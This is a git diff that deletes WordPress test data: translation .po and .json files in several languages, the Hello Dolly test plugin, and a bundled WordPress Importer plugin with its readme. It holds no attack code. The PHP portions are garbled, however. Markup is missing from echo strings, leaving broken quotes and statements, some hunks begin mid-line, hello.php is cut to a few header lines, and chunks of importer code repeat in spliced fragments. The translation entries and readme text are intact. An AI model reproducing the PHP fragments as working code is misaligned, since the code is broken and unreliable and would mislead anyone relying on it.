-msgstr "[%s] Export personenbezogener Daten"
diff --git a/tests/data/languages/en_GB.mo b/tests/data/languages/en_GB.mo
deleted file mode 100644
index 24a142c..0000000
Binary files a/tests/data/languages/en_GB.mo and /dev/null differ
diff --git a/tests/data/languages/en_GB.po b/tests/data/languages/en_GB.po
deleted file mode 100644
index a381d3c..0000000
--- a/tests/data/languages/en_GB.po
+++ /dev/null
@@ -1,38 +0,0 @@
-# Translation of Development (4.4.x) in English (UK)
-# This file is distributed under the same license as the Development (4.4.x) package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2016-10-26 00:01+0200\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 1.8.10\n"
-"Project-Id-Version: Development (4.4.x)\n"
-"Language: en_GB\n"
-
-#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
-#: wp-includes/locale.php:201
-msgctxt "text direction"
-msgid "ltr"
-msgstr "ltr"
-
-#: wp-includes/user.php:2132
-msgid "ERROR: Sorry, that username is not allowed."
-msgstr "ERROR: Sorry, that username is not allowed."
-
-#: wp-includes/rest-api/class-wp-rest-request.php:850
-msgid "Invalid parameter."
-msgstr "Invalid parameter."
-
-#. translators: %s: menu name
-#: wp-includes/customize/class-wp-customize-nav-menu-control.php:76
-msgctxt "menu location"
-msgid "(Current: %s)"
-msgstr "(Current: %s)"
-
-#. translators: %s: menu location slug
-#: wp-includes/class-wp-customize-nav-menus.php:340
-msgctxt "menu"
-msgid "(Currently set to: %s)"
-msgstr "(Currently set to: %s)"
diff --git a/tests/data/languages/en_US-813e104eb47e13dd4cc5af844c618754.json b/tests/data/languages/en_US-813e104eb47e13dd4cc5af844c618754.json
deleted file mode 100644
index 367f139..0000000
--- a/tests/data/languages/en_US-813e104eb47e13dd4cc5af844c618754.json
+++ /dev/null
@@ -1,30 +0,0 @@
-{
- "translation-revision-data": "+0000",
- "generator": "GlotPress/2.3.0-alpha",
- "domain": "messages",
- "locale_data": {
- "messages": {
- "": {
- "domain": "messages",
- "plural-forms": "n != 1",
- "lang": "en-gb"
- },
- "This file is too big. Files must be less than %d KB in size.": [
- "This file is too big. Files must be less than %d KB in size."
- ],
- "%d Theme Update": [
- "%d Theme Update",
- "%d Theme Updates"
- ],
- "password strength\u0004Medium": [
- "Medium"
- ],
- "taxonomy singular name\u0004Category": [
- "Category"
- ],
- "post type general name\u0004Pages": [
- "Pages"
- ]
- }
- }
-}
diff --git a/tests/data/languages/es_ES.mo b/tests/data/languages/es_ES.mo
deleted file mode 100644
index 2f949bc..0000000
Binary files a/tests/data/languages/es_ES.mo and /dev/null differ
diff --git a/tests/data/languages/es_ES.po b/tests/data/languages/es_ES.po
deleted file mode 100644
index fc6b062..0000000
--- a/tests/data/languages/es_ES.po
+++ /dev/null
@@ -1,55 +0,0 @@
-# Translation of Development (5.2.x) in Spanish (Spain)
-# This file is distributed under the same license as the Development (5.2.x) package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2020-07-23 21:12+0300\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 2.3\n"
-"Project-Id-Version: Development (5.2.x)\n"
-"Language: es_ES\n"
-"POT-Creation-Date: \n"
-"Last-Translator: \n"
-"Language-Team: \n"
-
-#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
-#: wp-includes/locale.php:201
-msgctxt "text direction"
-msgid "ltr"
-msgstr "ltr"
-
-#: wp-includes/user.php:2132
-msgid "ERROR: Sorry, that username is not allowed."
-msgstr "ERROR: Lo siento, ese nombre de usuario no está permitido."
-
-#: wp-includes/rest-api/class-wp-rest-request.php:850
-msgid "Invalid parameter."
-msgstr "Parámetro no válido. "
-
-#. translators: %s: menu name
-#: wp-includes/customize/class-wp-customize-nav-menu-control.php:76
-msgctxt "menu location"
-msgid "(Current: %s)"
-msgstr "(Actual: %s)"
-
-#. translators: %s: menu location slug
-#: wp-includes/class-wp-customize-nav-menus.php:340
-msgctxt "menu"
-msgid "(Currently set to: %s)"
-msgstr "(Actualmente fijado en: %s)"
-
-#. translators: Privacy data request subject. 1: Site name, 2: Name of the action
-#: wp-includes/user.php:3445
-msgid "[%1$s] Confirm Action: %2$s"
-msgstr "[%1$s] Confirmar la acción: %2$s"
-
-#. translators: %s: Site name.
-#: wp-includes/user.php:3175
-msgid "[%s] Erasure Request Fulfilled"
-msgstr "[%s] Solicitud de borrado completada"
-
-#: wp-admin/includes/file.php:2415
-msgid "[%s] Personal Data Export"
-msgstr "[%s] Exportación de datos personales"
diff --git a/tests/data/languages/ja_JP.mo b/tests/data/languages/ja_JP.mo
deleted file mode 100644
index da16813..0000000
Binary files a/tests/data/languages/ja_JP.mo and /dev/null differ
diff --git a/tests/data/languages/ja_JP.po b/tests/data/languages/ja_JP.po
deleted file mode 100644
index bd9cd17..0000000
--- a/tests/data/languages/ja_JP.po
+++ /dev/null
@@ -1,69 +0,0 @@
-# Translation of 5.0.x in Japanese
-# This file is distributed under the same license as the 4.6.x package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2018-04-21 18:27+0900\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 1.8.10\n"
-"Project-Id-Version: 5.0.x\n"
-"Language: ja_JP\n"
-
-#. translators: Translate this to the correct language tag for your locale, see
-#. https://www.w3.org/International/articles/language-tags/ for reference. Do
-#. not translate into your own language.
-#: wp-includes/general-template.php:716
-msgid "html_lang_attribute"
-msgstr "ja"
-
-#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
-#: wp-includes/class-wp-locale.php:223
-msgctxt "text direction"
-msgid "ltr"
-msgstr "ltr"
-
-#. translators: $dec_point argument for https://secure.php.net/number_format,
-#. default is .
-#: wp-includes/class-wp-locale.php:215
-msgid "number_format_decimal_point"
-msgstr "number_format_decimal_point"
-
-#. translators: $thousands_sep argument for
-#. https://secure.php.net/number_format, default is ,
-#: wp-includes/class-wp-locale.php:202
-msgid "number_format_thousands_sep"
-msgstr "number_format_thousands_sep"
-
-#. translators: %s: Plugin name and version
-#: wp-includes/script-loader.php:620
-msgid "Update %s now"
-msgstr "今すぐ %s を更新"
-
-#. translators: If your word count is based on single characters (e.g. East
-#. Asian characters), enter 'characters_excluding_spaces' or
-#. 'characters_including_spaces'. Otherwise, enter 'words'. Do not translate
-#. into your own language.
-#: wp-includes/formatting.php:3372 wp-includes/script-loader.php:1100
-msgctxt "Word count type. Do not translate!"
-msgid "words"
-msgstr "characters_including_spaces"
-
-#. translators: Maximum number of words used in a post excerpt.
-#: wp-includes/formatting.php:3640
-msgctxt "excerpt_length"
-msgid "55"
-msgstr "110"
-
-#. translators: Maximum number of words used in a comment excerpt.
-#: wp-includes/comment-template.ph:599
-msgctxt "comment_excerpt_length"
-msgid "20"
-msgstr "40"
-
-#. translators: Maximum number of words used in a preview of a draft on the dashboard.
-#: wp-admin/includes/dashboard.php:591
-msgctxt "draft_length"
-msgid "10"
-msgstr "40"
diff --git a/tests/data/languages/plugins/internationalized-plugin-de_DE.mo b/tests/data/languages/plugins/internationalized-plugin-de_DE.mo
deleted file mode 100644
index 96bf7ad..0000000
Binary files a/tests/data/languages/plugins/internationalized-plugin-de_DE.mo and /dev/null differ
diff --git a/tests/data/languages/plugins/internationalized-plugin-de_DE.po b/tests/data/languages/plugins/internationalized-plugin-de_DE.po
deleted file mode 100644
index bfb7d8c..0000000
--- a/tests/data/languages/plugins/internationalized-plugin-de_DE.po
+++ /dev/null
@@ -1,21 +0,0 @@
-msgid ""
-msgstr ""
-"Project-Id-Version: \n"
-"POT-Creation-Date: 2015-12-31 16:31+0100\n"
-"PO-Revision-Date: 2016-10-26 00:02+0200\n"
-"Language: de_DE\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"X-Generator: Poedit 1.8.10\n"
-"X-Poedit-Basepath: .\n"
-"Plural-Forms: nplurals=2; plural=(n != 1);\n"
-"X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;"
-"_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;"
-"esc_html_x:1,2c\n"
-"X-Textdomain-Support: yes\n"
-"X-Poedit-SearchPath-0: .\n"
-
-#: internationalized-plugin.php:11
-msgid "This is a dummy plugin"
-msgstr "Das ist ein Dummy Plugin"
diff --git a/tests/data/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json b/tests/data/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json
deleted file mode 100644
index 19e2ba2..0000000
--- a/tests/data/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
- "translation-revision-data": "+0000",
- "generator": "GlotPress/2.3.0-alpha",
- "domain": "messages",
- "locale_data": {
- "messages": {
- "": {
- "domain": "messages",
- "plural-forms": "n != 1",
- "lang": "en-gb"
- },
- "This is a dummy plugin.": [
- "This is a dummy plugin."
- ]
- }
- }
-}
diff --git a/tests/data/languages/plugins/notice-pl_PL.mo b/tests/data/languages/plugins/notice-pl_PL.mo
deleted file mode 100644
index 0ee1868..0000000
Binary files a/tests/data/languages/plugins/notice-pl_PL.mo and /dev/null differ
diff --git a/tests/data/languages/plugins/notice-pl_PL.po b/tests/data/languages/plugins/notice-pl_PL.po
deleted file mode 100644
index 78a72d8..0000000
--- a/tests/data/languages/plugins/notice-pl_PL.po
+++ /dev/null
@@ -1,55 +0,0 @@
-msgid ""
-msgstr ""
-"Project-Id-Version: \n"
-"POT-Creation-Date: 2015-12-31 16:31+0100\n"
-"PO-Revision-Date: 2021-08-11 12:25+0200\n"
-"Language: pl_PL\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"X-Generator: Poedit 3.0\n"
-"X-Poedit-Basepath: .\n"
-"Plural-Forms: nplurals=2; plural=(n != 1);\n"
-"X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;"
-"_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;"
-"esc_html_x:1,2c\n"
-"X-Textdomain-Support: yes\n"
-"Last-Translator: \n"
-"Language-Team: \n"
-"X-Poedit-SearchPath-0: .\n"
-
-msgctxt "block title"
-msgid "Notice"
-msgstr "Powiadomienie"
-
-msgctxt "block description"
-msgid "Shows warning, error or success notices…"
-msgstr "Wyświetla ostrzeżenie, błąd lub powiadomienie o sukcesie…"
-
-msgctxt "block keyword"
-msgid "alert"
-msgstr "ostrzeżenie"
-
-msgctxt "block keyword"
-msgid "message"
-msgstr "wiadomość"
-
-msgctxt "block style label"
-msgid "Default"
-msgstr "Domyślny"
-
-msgctxt "block style label"
-msgid "Other"
-msgstr "Inny"
-
-msgctxt "block variation title"
-msgid "Error"
-msgstr "Błąd"
-
-msgctxt "block variation description"
-msgid "Shows error."
-msgstr "Wyświetla błąd."
-
-msgctxt "block variation keyword"
-msgid "failure"
-msgstr "niepowodzenie"
diff --git a/tests/data/languages/themes/block-theme-pl_PL.mo b/tests/data/languages/themes/block-theme-pl_PL.mo
deleted file mode 100644
index ff89f87..0000000
Binary files a/tests/data/languages/themes/block-theme-pl_PL.mo and /dev/null differ
diff --git a/tests/data/languages/themes/block-theme-pl_PL.po b/tests/data/languages/themes/block-theme-pl_PL.po
deleted file mode 100644
index 0aa4bbd..0000000
--- a/tests/data/languages/themes/block-theme-pl_PL.po
+++ /dev/null
@@ -1,35 +0,0 @@
-msgid ""
-msgstr ""
-"Project-Id-Version: \n"
-"POT-Creation-Date: 2015-12-31 16:31+0100\n"
-"PO-Revision-Date: 2021-03-15 13:10+0100\n"
-"Language: pl_PL\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"X-Generator: Poedit 2.4.2\n"
-"X-Poedit-Basepath: .\n"
-"Plural-Forms: nplurals=2; plural=(n != 1);\n"
-"X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;"
-"_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;"
-"esc_html_x:1,2c\n"
-"X-Textdomain-Support: yes\n"
-"Last-Translator: \n"
-"Language-Team: \n"
-"X-Poedit-SearchPath-0: .\n"
-
-msgctxt "Custom template name"
-msgid "Homepage template"
-msgstr "Szablon strony głównej"
-
-msgctxt "Template part name"
-msgid "Small Header"
-msgstr "Mały nagłówek"
-
-msgctxt "Color name"
-msgid "Light"
-msgstr "Jasny"
-
-msgctxt "Color name"
-msgid "Dark"
-msgstr "Ciemny"
diff --git a/tests/data/languages/themes/internationalized-theme-de_DE.mo b/tests/data/languages/themes/internationalized-theme-de_DE.mo
deleted file mode 100644
index 5a95f01..0000000
Binary files a/tests/data/languages/themes/internationalized-theme-de_DE.mo and /dev/null differ
diff --git a/tests/data/languages/themes/internationalized-theme-de_DE.po b/tests/data/languages/themes/internationalized-theme-de_DE.po
deleted file mode 100644
index 6d23917..0000000
--- a/tests/data/languages/themes/internationalized-theme-de_DE.po
+++ /dev/null
@@ -1,21 +0,0 @@
-msgid ""
-msgstr ""
-"Project-Id-Version: \n"
-"POT-Creation-Date: 2015-12-31 16:38+0100\n"
-"PO-Revision-Date: 2016-10-26 00:02+0200\n"
-"Language: de_DE\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"X-Generator: Poedit 1.8.10\n"
-"X-Poedit-Basepath: .\n"
-"Plural-Forms: nplurals=2; plural=(n != 1);\n"
-"X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;"
-"_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;"
-"esc_html_x:1,2c\n"
-"X-Textdomain-Support: yes\n"
-"X-Poedit-SearchPath-0: .\n"
-
-#: functions.php:7
-msgid "This is a dummy theme"
-msgstr "Das ist ein Dummy Theme"
diff --git a/tests/data/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json b/tests/data/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json
deleted file mode 100644
index 280ccc1..0000000
--- a/tests/data/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
- "translation-revision-data": "+0000",
- "generator": "GlotPress/2.3.0-alpha",
- "domain": "messages",
- "locale_data": {
- "messages": {
- "": {
- "domain": "messages",
- "plural-forms": "n != 1",
- "lang": "en-gb"
- },
- "This is a dummy theme.": [
- "This is a dummy theme."
- ]
- }
- }
-}
diff --git a/tests/data/plugins/hello.php b/tests/data/plugins/hello.php
deleted file mode 100644
index 8d6287f..0000000
--- a/tests/data/plugins/hello.php
+++ /dev/null
@@ -1,14 +0,0 @@
-Hello, Dolly in the upper right of your admin screen on every page.
-Author: Matt Mullenweg
-Version: 1.5.1
-Author URI: http://ma.tt/
-Text Domain: hello-dolly
-
-*/
-
-// Test for
-?>
diff --git a/tests/data/plugins/internationalized-plugin.php b/tests/data/plugins/internationalized-plugin.php
deleted file mode 100644
index 4b56846..0000000
--- a/tests/data/plugins/internationalized-plugin.php
+++ /dev/null
@@ -1,12 +0,0 @@
- Import in the WordPress dashboard
-1. Click on the WordPress link in the list of importers
-1. Click "Install Now"
-1. Finally click "Activate Plugin & Run Importer"
-
-If you would prefer to do things manually then follow these instructions:
-
-1. Upload the `wordpress-importer` folder to the `/wp-content/plugins/` directory
-1. Activate the plugin through the 'Plugins' menu in WordPress
-1. Go to the Tools -> Import screen, click on WordPress
-
-== Changelog ==
-
-= 0.7 =
-* Update minimum WordPress requirement to 3.7 and ensure compatibility with PHP 7.4.
-* Fix bug that caused not importing term meta.
-* Fix bug that caused slashes to be stripped from imported meta data.
-* Fix bug that prevented import of serialized meta data.
-* Fix file size check after download of remote files with HTTP compression enabled.
-* Improve accessibility of form fields by adding missing labels.
-* Improve imports for remote file URLs without name and/or extension.
-* Add support for `wp:base_blog_url` field to allow importing multiple files with WP-CLI.
-* Add support for term meta parsing when using the regular expressions or XML parser.
-* Developers: All PHP classes have been moved into their own files.
-* Developers: Allow to change `IMPORT_DEBUG` via `wp-config.php` and change default value to the value of `WP_DEBUG`.
-
-= 0.6.4 =
-* Improve PHP7 compatibility.
-* Fix bug that caused slashes to be stripped from imported comments.
-* Fix for various deprecation notices including `wp_get_http()` and `screen_icon()`.
-* Fix for importing export files with multiline term meta data.
-
-= 0.6.3 =
-* Add support for import term metadata.
-* Fix bug that caused slashes to be stripped from imported content.
-* Fix bug that caused characters to be stripped inside of CDATA in some cases.
-* Fix PHP notices.
-
-= 0.6.2 =
-* Add `wp_import_existing_post` filter, see [Trac ticket #33721](https://core.trac.wordpress.org/ticket/33721).
-
-= 0.6 =
-* Support for WXR 1.2 and multiple CDATA sections
-* Post aren't duplicates if their post_type's are different
-
-= 0.5.2 =
-* Double check that the uploaded export file exists before processing it. This prevents incorrect error messages when
-an export file is uploaded to a server with bad permissions and WordPress 3.3 or 3.3.1 is being used.
-
-= 0.5 =
-* Import comment meta (requires export from WordPress 3.2)
-* Minor bugfixes and enhancements
-
-= 0.4 =
-* Map comment user_id where possible
-* Import attachments from `wp:attachment_url`
-* Upload attachments to correct directory
-* Remap resized image URLs correctly
-
-= 0.3 =
-* Use an XML Parser if possible
-* Proper import support for nav menus
-* ... and much more, see [Trac ticket #15197](https://core.trac.wordpress.org/ticket/15197)
-
-= 0.1 =
-* Initial release
-
-== Frequently Asked Questions ==
-
-= Help! I'm getting out of memory errors or a blank screen. =
-If your exported file is very large, the import script may run into your host's configured memory limit for PHP.
-
-A message like "Fatal error: Allowed memory size of 8388608 bytes exhausted" indicates that the script can't successfully import your XML file under the current PHP memory limit. If you have access to the php.ini file, you can manually increase the limit; if you do not (your WordPress installation is hosted on a shared server, for instance), you might have to break your exported XML file into several smaller pieces and run the import script one at a time.
-
-For those with shared hosting, the best alternative may be to consult hosting support to determine the safest approach for running the import. A host may be willing to temporarily lift the memory limit and/or run the process directly from their end.
-
--- [Support Article: Importing Content](https://wordpress.org/support/article/importing-content/#before-importing)
-
-== Filters ==
-
-The importer has a couple of filters to allow you to completely enable/block certain features:
-
-* `import_allow_create_users`: return false if you only want to allow mapping to existing users
-* `import_allow_fetch_attachments`: return false if you do not wish to allow importing and downloading of attachments
-* `import_attachment_size_limit`: return an integer value for the maximum file size in bytes to save (default is 0, which is unlimited)
-
-There are also a few actions available to hook into:
-
-* `import_start`: occurs after the export file has been uploaded and author import settings have been chosen
-* `import_end`: called after the last output from the importer
diff --git a/tests/data/plugins/wordpress-importer/.svn/pristine/5f/5f9503ac776069018ca181d6137f3d8da37a899b.svn-base b/tests/data/plugins/wordpress-importer/.svn/pristine/5f/5f9503ac776069018ca181d6137f3d8da37a899b.svn-base
deleted file mode 100644
index dc7cce8..0000000
--- a/tests/data/plugins/wordpress-importer/.svn/pristine/5f/5f9503ac776069018ca181d6137f3d8da37a899b.svn-base
+++ /dev/null
@@ -1,50 +0,0 @@
-parse( $file );
-
- // If SimpleXML succeeds or this is an invalid WXR file then return the results
- if ( ! is_wp_error( $result ) || 'SimpleXML_parse_error' != $result->get_error_code() )
- return $result;
- } else if ( extension_loaded( 'xml' ) ) {
- $parser = new WXR_Parser_XML;
- $result = $parser->parse( $file );
-
- // If XMLParser succeeds or this is an invalid WXR file then return the results
- if ( ! is_wp_error( $result ) || 'XML_parse_error' != $result->get_error_code() )
- return $result;
- }
-
- // We have a malformed XML file, so display the error and fallthrough to regex
- if ( isset($result) && defined('IMPORT_DEBUG') && IMPORT_DEBUG ) {
- echo '
' . __( 'There was an error when reading this WXR file', 'wordpress-importer' ) . ' ';
- echo __( 'Details are shown above. The importer will now try again with a different parser...', 'wordpress-importer' ) . '
' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . ' ';
- echo __( 'The file does not exist, please try again.', 'wordpress-importer' ) . '
' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . ' ';
- printf( __( 'The export file could not be found at %s. It is likely that this was caused by a permissions problem.', 'wordpress-importer' ), esc_html( $file['file'] ) );
- echo '
';
- printf( __( 'This WXR file (version %s) may not be supported by this version of the importer. Please consider updating.', 'wordpress-importer' ), esc_html($import_data['version']) );
- echo '
';
- }
-
- $this->get_authors_from_import( $import_data );
-
- return true;
- }
-
- /**
- * Retrieve authors from parsed WXR data
- *
- * Uses the provided author information from WXR 1.1 files
- * or extracts info from each post for WXR 1.0 files
- *
- * @param array $import_data Data returned by a WXR parser
- */
- function get_authors_from_import( $import_data ) {
- if ( ! empty( $import_data['authors'] ) ) {
- $this->authors = $import_data['authors'];
- // no author information, grab it from the posts
- } else {
- foreach ( $import_data['posts'] as $post ) {
- $login = sanitize_user( $post['post_author'], true );
- if ( empty( $login ) ) {
- printf( __( 'Failed to import author %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html( $post['post_author'] ) );
- echo ' ';
- continue;
- }
-
- if ( ! isset($this->authors[$login]) )
- $this->authors[$login] = array(
- 'author_login' => $login,
- 'author_display_name' => $post['post_author']
- );
- }
- }
- }
-
- /**
- * Display pre-import options, author importing/mapping and option to
- * fetch attachments
- */
- function import_options() {
- $j = 0;
-?>
-
-' . esc_html( $author['author_display_name'] );
- if ( $this->version != '1.0' ) echo ' (' . esc_html( $author['author_login'] ) . ')';
- echo ' ';
-
- if ( $this->version != '1.0' )
- echo '
';
- printf( __( 'A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer' ), $update->update->new_version );
- echo '
';
- }
- }
-
- // Close div.wrap
- function footer() {
- echo '
';
- }
-
- /**
- * Display introductory text and file upload form
- */
- function greet() {
- echo '
';
- echo '
'.__( 'Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this site.', 'wordpress-importer' ).'
';
- echo '
'.__( 'Choose a WXR (.xml) file to upload, then click Upload file and import.', 'wordpress-importer' ).'
' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . ' ';
- echo __( 'The file does not exist, please try again.', 'wordpress-importer' ) . '
' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . ' ';
- printf( __( 'The export file could not be found at %s. It is likely that this was caused by a permissions problem.', 'wordpress-importer' ), esc_html( $file['file'] ) );
- echo '
';
- printf( __( 'This WXR file (version %s) may not be supported by this version of the importer. Please consider updating.', 'wordpress-importer' ), esc_html($import_data['version']) );
- echo '
';
- }
-
- $this->get_authors_from_import( $import_data );
-
- return true;
- }
-
- /**
- * Retrieve authors from parsed WXR data
- *
- * Uses the provided author information from WXR 1.1 files
- * or extracts info from each post for WXR 1.0 files
- *
- * @param array $import_data Data returned by a WXR parser
- */
- function get_authors_from_import( $import_data ) {
- if ( ! empty( $import_data['authors'] ) ) {
- $this->authors = $import_data['authors'];
- // no author information, grab it from the posts
- } else {
- foreach ( $import_data['posts'] as $post ) {
- $login = sanitize_user( $post['post_author'], true );
- if ( empty( $login ) ) {
- printf( __( 'Failed to import author %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html( $post['post_author'] ) );
- echo ' ';
- continue;
- }
-
- if ( ! isset($this->authors[$login]) )
- $this->authors[$login] = array(
- 'author_login' => $login,
- 'author_display_name' => $post['post_author']
- );
- }
- }
- }
-
- /**
- * Display pre-import options, author importing/mapping and option to
- * fetch attachments
- */
- function import_options() {
- $j = 0;
-?>
-
-' . esc_html( $author['author_display_name'] );
- if ( $this->version != '1.0' ) echo ' (' . esc_html( $author['author_login'] ) . ')';
- echo ' ';
-
- if ( $this->version != '1.0' )
- echo '
';
- printf( __( 'A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer' ), $update->update->new_version );
- echo '
';
- }
- }
-
- // Close div.wrap
- function footer() {
- echo '
';
- }
-
- /**
- * Display introductory text and file upload form
- */
- function greet() {
- echo '
';
- echo '
'.__( 'Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this site.', 'wordpress-importer' ).'
';
- echo '
'.__( 'Choose a WXR (.xml) file to upload, then click Upload file and import.', 'wordpress-importer' ).'
' . __( 'There was an error when reading this WXR file', 'wordpress-importer' ) . ' ';
- echo __( 'Details are shown above. The importer will now try again with a different parser...', 'wordpress-importer' ) . '
';
- }
-
- // use regular expressions if nothing else available or this is bad XML
- $parser = new WXR_Parser_Regex;
- return $parser->parse( $file );
- }
-}
diff --git a/tests/data/plugins/wordpress-importer/readme.txt b/tests/data/plugins/wordpress-importer/readme.txt
deleted file mode 100644
index 4edf74d..0000000
--- a/tests/data/plugins/wordpress-importer/readme.txt
+++ /dev/null
@@ -1,118 +0,0 @@
-=== WordPress Importer ===
-Contributors: wordpressdotorg
-Donate link: https://wordpressfoundation.org/donate/
-Tags: importer, wordpress
-Requires at least: 3.7
-Tested up to: 5.4
-Stable tag: 0.7
-License: GPLv2 or later
-License URI: https://www.gnu.org/licenses/gpl-2.0.html
-
-Import posts, pages, comments, custom fields, categories, tags and more from a WordPress export file.
-
-== Description ==
-
-The WordPress Importer will import the following content from a WordPress export file:
-
-* Posts, pages and other custom post types
-* Comments and comment meta
-* Custom fields and post meta
-* Categories, tags and terms from custom taxonomies and term meta
-* Authors
-
-For further information and instructions please see the [documention on Importing Content](https://wordpress.org/support/article/importing-content/#wordpress).
-
-== Installation ==
-
-The quickest method for installing the importer is:
-
-1. Visit Tools -> Import in the WordPress dashboard
-1. Click on the WordPress link in the list of importers
-1. Click "Install Now"
-1. Finally click "Activate Plugin & Run Importer"
-
-If you would prefer to do things manually then follow these instructions:
-
-1. Upload the `wordpress-importer` folder to the `/wp-content/plugins/` directory
-1. Activate the plugin through the 'Plugins' menu in WordPress
-1. Go to the Tools -> Import screen, click on WordPress
-
-== Changelog ==
-
-= 0.7 =
-* Update minimum WordPress requirement to 3.7 and ensure compatibility with PHP 7.4.
-* Fix bug that caused not importing term meta.
-* Fix bug that caused slashes to be stripped from imported meta data.
-* Fix bug that prevented import of serialized meta data.
-* Fix file size check after download of remote files with HTTP compression enabled.
-* Improve accessibility of form fields by adding missing labels.
-* Improve imports for remote file URLs without name and/or extension.
-* Add support for `wp:base_blog_url` field to allow importing multiple files with WP-CLI.
-* Add support for term meta parsing when using the regular expressions or XML parser.
-* Developers: All PHP classes have been moved into their own files.
-* Developers: Allow to change `IMPORT_DEBUG` via `wp-config.php` and change default value to the value of `WP_DEBUG`.
-
-= 0.6.4 =
-* Improve PHP7 compatibility.
-* Fix bug that caused slashes to be stripped from imported comments.
-* Fix for various deprecation notices including `wp_get_http()` and `screen_icon()`.
-* Fix for importing export files with multiline term meta data.
-
-= 0.6.3 =
-* Add support for import term metadata.
-* Fix bug that caused slashes to be stripped from imported content.
-* Fix bug that caused characters to be stripped inside of CDATA in some cases.
-* Fix PHP notices.
-
-= 0.6.2 =
-* Add `wp_import_existing_post` filter, see [Trac ticket #33721](https://core.trac.wordpress.org/ticket/33721).
-
-= 0.6 =
-* Support for WXR 1.2 and multiple CDATA sections
-* Post aren't duplicates if their post_type's are different
-
-= 0.5.2 =
-* Double check that the uploaded export file exists before processing it. This prevents incorrect error messages when
-an export file is uploaded to a server with bad permissions and WordPress 3.3 or 3.3.1 is being used.
-
-= 0.5 =
-* Import comment meta (requires export from WordPress 3.2)
-* Minor bugfixes and enhancements
-
-= 0.4 =
-* Map comment user_id where possible
-* Import attachments from `wp:attachment_url`
-* Upload attachments to correct directory
-* Remap resized image URLs correctly
-
-= 0.3 =
-* Use an XML Parser if possible
-* Proper import support for nav menus
-* ... and much more, see [Trac ticket #15197](https://core.trac.wordpress.org/ticket/15197)
-
-= 0.1 =
-* Initial release
-
-== Frequently Asked Questions ==
-
-= Help! I'm getting out of memory errors or a blank screen. =
-If your exported file is very large, the import script may run into your host's configured memory limit for PHP.
-
-A message like "Fatal error: Allowed memory size of 8388608 bytes exhausted" indicates that the script can't successfully import your XML file under the current PHP memory limit. If you have access to the php.ini file, you can manually increase the limit; if you do not (your WordPress installation is hosted on a shared server, for instance), you might have to break your exported XML file into several smaller pieces and run the import script one at a time.
-
-For those with shared hosting, the best alternative may be to consult hosting support to determine the safest approach for running the import. A host may be willing to temporarily lift the memory limit and/or run the process directly from their end.
-
--- [Support Article: Importing Content](https://wordpress.org/support/article/importing-content/#before-importing)
-
-== Filters ==
-
-The importer has a couple of filters to allow you to completely enable/block certain features:
-
-* `import_allow_create_users`: return false if you only want to allow mapping to existing users
-* `import_allow_fetch_attachments`: return false if you do not wish to allow importing and downloading of attachments
-* `import_attachment_size_limit`: return an integer value for the maximum file size in bytes to save (default is 0, which is unlimited)
-
-There are also a few actions available to hook into:
-
